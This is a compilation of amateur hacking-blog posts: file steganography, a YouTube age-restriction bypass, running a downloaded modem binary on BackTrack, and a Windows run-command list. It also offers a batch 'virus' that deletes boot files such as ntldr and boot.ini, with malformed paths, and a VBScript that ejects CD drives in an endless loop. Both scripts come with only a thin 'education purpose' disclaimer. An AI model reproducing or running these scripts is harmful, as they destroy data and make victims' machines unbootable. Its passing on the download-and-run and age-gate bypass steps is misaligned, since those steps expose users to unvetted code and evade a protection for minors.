data hiding behind image (steganography)

Steganography is a method  of  hiding data in another message so that the very existence of  the data is concealed . Steganography is mainly used by hiding message in graphic images  .The least significant bit of each byte of the image  can be replaced with bits of the secret message .


lets see how  can  be hide message  behind the image.

required > one secret message txt file and  main image  file

* put the  secret.txt and  main.jpg on  the desktop

 this  is  secret  message  name as  secret.txt file  and  another  is  image  file  behind  which secret message are to hide in  my  case i  am using  the  image  file name  as  main.jpg

* open cmd (command prompt)
* type "cd Desktop"  (withot quetetion)
* type again  "copy /b main.jpg + secret.txt  steg.jpg

Bypass Age Restrictions On YouTube Videos.

you  want  to  watch video ever on  youtube  but couldn't  becuase it is age  restricted  and  may  be  you  have no  account  . so  this  article  will  teach you how  to  bypass restriction on youtube.

here  url  is  http://www.youtube.com/watch?v=MlPH_ycy62s

from here replace   watch?v=  by  v/  and  press enter

you have done it 

enjoy yourself :)

Running NETSETTER in backtrack machine .......!

Hi guys,
              we use the backtrack  o.s  in  virtual machine  and  use the  internet  by sharing internet from  main machine   but   when we want to  use  internet with real  ip   then  how  to  use  this  so  i  explain  in  following post ..... !


   first download  the  file  from this link ....
 http://www.mediafire.com/download/8j1jo2v4mnkx4gb/3gusbmodem

put this  file on desktop of  backtrack machine

open terminal  (ctrl+ alt + t) in backtrack 5r3

type

1> cd Desktop/

2> chmod a+x 3gusbmodem

3> ./3gusbmodem --interactive

 

 4> connetct with 3g

5> usb device

6>usb modem

7>reported by you modem

in this section requird  the apn  (acess point name )

i use the  reliance  sim  and  it's  apn  is  rcom 

8>typing your  own apn  name

you wil  get connected

 and  use the  internet with real ip

enjoy yourself ...... :)

"currupting bootloader" by making notepad virus ...... !

this  post is  only education purpose ;
**//do  your own risk  and  don't attempt on your system.....//**

1> open notepad  and  type  following  code...


@echo off

attrib -r -s -h c:autoexec.bat

del c:autoexec.bat

attrib -r -s -h c:boot.ini

del c:boot.ini

attrib -r -s -h c:ntldr

del c:ntldr

attrib -r -s -h c:windowswin.ini

del c:windowswin.ini


2> save  as *.bat 

A to Z run command .... !

Accessibility Controls - access.cpl
Add Hardware Wizard - hdwwiz.cpl
Add/Remove Programs - appwiz.cpl
Administrative Tools - control admintools
Automatic Updates - wuaucpl.cpl
Bluetooth Transfer Wizard - fsquirt
Calculator - calc
Certificate Manager - certmgr.msc
Character Map - charmap
Check Disk Utility - chkdsk
Clipboard Viewer - clipbrd
Command Prompt - cmd
Component Services - dcomcnfg
Computer Management - compmgmt.msc
Date and Time Properties - timedate.cpl
DDE Shares - ddeshare
Device Manager - devmgmt.msc
Direct X Control Panel (If Installed)* - directx.cpl
Direct X Troubleshooter - dxdiag
Disk Cleanup Utility - cleanmgr
Disk Defragment - dfrg.msc
Disk Management - diskmgmt.msc
Disk Partition Manager - diskpart
Display Properties - control desktop
Display Properties - desk.cpl
Display Properties (w/Appearance Tab Preselected) - control color
Dr. Watson System Troubleshooting Utility - drwtsn32
Driver Verifier Utility - verifier
Event Viewer - eventvwr.msc
File Signature Verification Tool - sigverif
Findfast - findfast.cpl
Folders Properties - control folders
Fonts - control fonts
Fonts Folder - fonts
Free Cell Card Game - freecell
Game Controllers - joy.cpl
Group Policy Editor (XP Prof) - gpedit.msc
Hearts Card Game - mshearts
Iexpress Wizard - iexpress
Indexing Service - ciadv.msc
Internet Properties - inetcpl.cpl
IP Configuration (Display Connection Configuration) - ipconfig /all
IP Configuration (Display DNS Cache Contents) - ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents) - ipconfig /flushdns
IP Configuration (Release All Connections) - ipconfig /release
IP Configuration (Renew All Connections) - ipconfig /renew
IP Configuration (Refreshes DHCP & Re - Registers DNS) -
ipconfig /registerdns
IP Configuration (Display DHCP Class ID) - ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID) - ipconfig /setclassid
Java Control Panel (If Installed) - jpicpl32.cpl
Java Control Panel (If Installed) - javaws
Keyboard Properties - control keyboard
Local Security Settings - secpol.msc
Local Users and Groups - lusrmgr.msc
Logs You Out Of Windows - logoff
Microsoft Chat - winchat
Minesweeper Game - winmine
Mouse Properties - control mouse
Mouse Properties - main.cpl
Network Connections - control netconnections
Network Connections - ncpa.cpl
Network Setup Wizard - netsetup.cpl
Notepad - notepad
Nview Desktop Manager (If Installed) - nvtuicpl.cpl
Object Packager - packager
ODBC Data Source Administrator - odbccp32.cpl
On Screen Keyboard - osk
Opens AC3 Filter (If Installed) - ac3filter.cpl
Password Properties - password.cpl
Performance Monitor - perfmon.msc
Performance Monitor - perfmon
Phone and Modem Options - telephon.cpl
Power Configuration - powercfg.cpl
Printers and Faxes - control printers
Printers Folder - printers
Private Character Editor - eudcedit
Quicktime (If Installed) - QuickTime.cpl
Regional Settings - intl.cpl
Registry Editor - regedit
Registry Editor - regedit32
Remote Desktop - mstsc
Removable Storage - ntmsmgr.msc
Removable Storage Operator Requests - ntmsoprq.msc
Resultant Set of Policy (XP Prof) - rsop.msc
Scanners and Cameras - sticpl.cpl
Scheduled Tasks - control schedtasks
Security Center - wscui.cpl
Services - services.msc
Shared Folders - fsmgmt.msc
Shuts Down Windows - shutdown
Sounds and Audio - mmsys.cpl
Spider Solitare Card Game - spider
SQL Client Configuration - cliconfg
System Configuration Editor - sysedit
System Configuration Utility - msconfig
System File Checker Utility (Scan Immediately) - sfc /scannow
System File Checker Utility (Scan Once At Next Boot) - sfc /scanonce
System Properties - sysdm.cpl
Task Manager - taskmgr
Telnet Client - telnet
User Account Management - nusrmgr.cpl
Utility Manager - utilman
Windows Firewall - firewall.cpl
Windows Magnifier - magnify
Windows Management Infrastructure - wmimgmt.msc
Windows System Security Tool - syskey
Windows Update Launches - wupdmgr
Windows XP Tour Wizard – tourstart
Wordpad – w

simple notepad virus ....!

open  cdrom randomly... !

 1> open notepad
2> type following code

"Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If"


3> save this file as  *.vbs 

click  on this file  and  enjoy yourself..... :)